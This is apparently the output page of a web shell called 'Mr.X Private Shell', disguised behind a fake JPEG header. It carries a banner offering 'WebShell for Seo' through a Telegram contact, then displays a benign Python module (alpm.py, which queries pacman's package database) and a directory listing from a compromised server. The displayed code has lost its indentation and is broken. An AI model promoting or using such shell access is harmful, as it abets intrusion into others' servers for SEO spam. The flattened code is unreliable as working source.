����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#-*- coding: utf-8 -*-
# alpm.py
#
# Copyright (C) 2016 Patrick Griffis <tingping@tingping.se>
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# the GNU General Public License v.2, or (at your option) any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY expressed or implied, including the implied warranties of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public License for more details. You should have received a copy of the
# GNU General Public License along with this program; if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA.
#
from __future__ import absolute_import
from tracer.resources.system import System
if System.distribution() in ["arch", "archarm"]:
import bisect
from .ipackageManager import IPackageManager
from tracer.resources.package import Package
from tracer.resources.collections import PackagesCollection
from tracer.resources.applications import Applications
import pyalpm
class Alpm(IPackageManager):
def __init__(self, *args, **kwargs):
self.opts = kwargs
self.handle = pyalpm.Handle('/', '/var/lib/pacman')
self.db = self.handle.get_localdb()
def packages_newer_than(self, unix_time):
"""
Returns list of packages which were modified between unix_time and present
"""
new_pkgs = PackagesCollection()
for pkg in self.db.pkgcache:
if pkg.installdate > unix_time:
new_pkgs.append(Package(pkg.name, pkg.installdate))
return new_pkgs
def package_files(self, pkg_name):
"""
Returns list of files provided by package
"""
pkg = self.db.get_pkg(pkg_name)
if not pkg:
return []
return ['/' + f[0] for f in pkg.files]
def load_package_info(self, package):
"""
From database load informations about given package and set them to it
"""
if not package:
return
pkg = self.db.get_pkg(package.name)
if not pkg:
return
package.description = pkg.desc
package.modified = pkg.installdate
# Don't have categories
def provided_by(self, app):
"""
Returns name of package which provides given application
"""
# We need a full path to the binary
process = app.instances[0]
return self._file_provided_by(process.exe)
def find_package(self, pkg_name, version):
"""
Find a package by name and some other input criteria
"""
pkg = self.db.get_pkg(pkg_name)
if pkg and pyalpm.vercmp(pkg.version, version) == 0:
return pkg
def compare_packages(self, package1, package2):
"""
vercmp returns:
< 0 if ver1 < ver2
0 if ver1 == ver2
> 0 if ver1 > ver2
"""
return pyalpm.vercmp(package1.version, package2.version)
@staticmethod
def _bsearch_list(l, item):
"""
Searches a sorted list, returns True if found
"""
i = bisect.bisect_left(l, item)
if i != len(l) and l[i] == item:
return True
else:
return False
def _file_provided_by(self, file_name):
"""
Returns name of package which provides given file
"""
# This is a bit slow
for pkg in self.db.pkgcache:
files = [f[0] for f in pkg.files]
if self._bsearch_list(files, file_name[1:]):
return Package(pkg.name, pkg.installdate)
else:
return None
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| README.md | File | 414 B | 0644 |
|
| __init__.py | File | 0 B | 0644 |
|
| alpm.py | File | 3.32 KB | 0644 |
|
| dnf.py | File | 2.09 KB | 0644 |
|
| dpkg.py | File | 3.09 KB | 0644 |
|
| ipackageManager.py | File | 2.19 KB | 0644 |
|
| portage.py | File | 3.91 KB | 0644 |
|
| rpm.py | File | 6.89 KB | 0644 |
|
| yum.py | File | 1.09 KB | 0644 |
|